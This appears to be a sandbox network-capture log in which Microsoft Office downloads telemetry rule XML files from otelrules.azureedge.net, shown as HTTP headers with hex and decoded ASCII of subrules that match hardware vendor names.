2024-11-20 13:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 1b8ab84b-001e-0082-570c-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134327Z-r1d97b995777mdbwhC1TEBezag00000008wg00000000arb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134327Z-185f5d8b95cgrrn8hC1NYCgwh40000000a3000000000mf6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134327Z-185f5d8b95cdtclvhC1NYC4rmc0000000agg000000004w27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134329Z-185f5d8b95c96jn4hC1NYCbgp80000000a8000000000hzkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134329Z-r1d97b99577gg97qhC1TEBcrf400000008vg000000001r3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134329Z-185f5d8b95c9mqtvhC1NYCghtc0000000acg00000000bh81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134329Z-185f5d8b95cdh56ghC1NYCk1x4000000044000000000dyhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134329Z-185f5d8b95cgrrn8hC1NYCgwh40000000a2000000000q47p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134331Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ad000000000hg14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134331Z-1777c6cb754j8gqphC1TEB5bf800000009ng000000005wgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134331Z-185f5d8b95c9mqtvhC1NYCghtc0000000aeg000000003eep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134332Z-1777c6cb7544nvmshC1TEBf7qc00000009g0000000009z8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
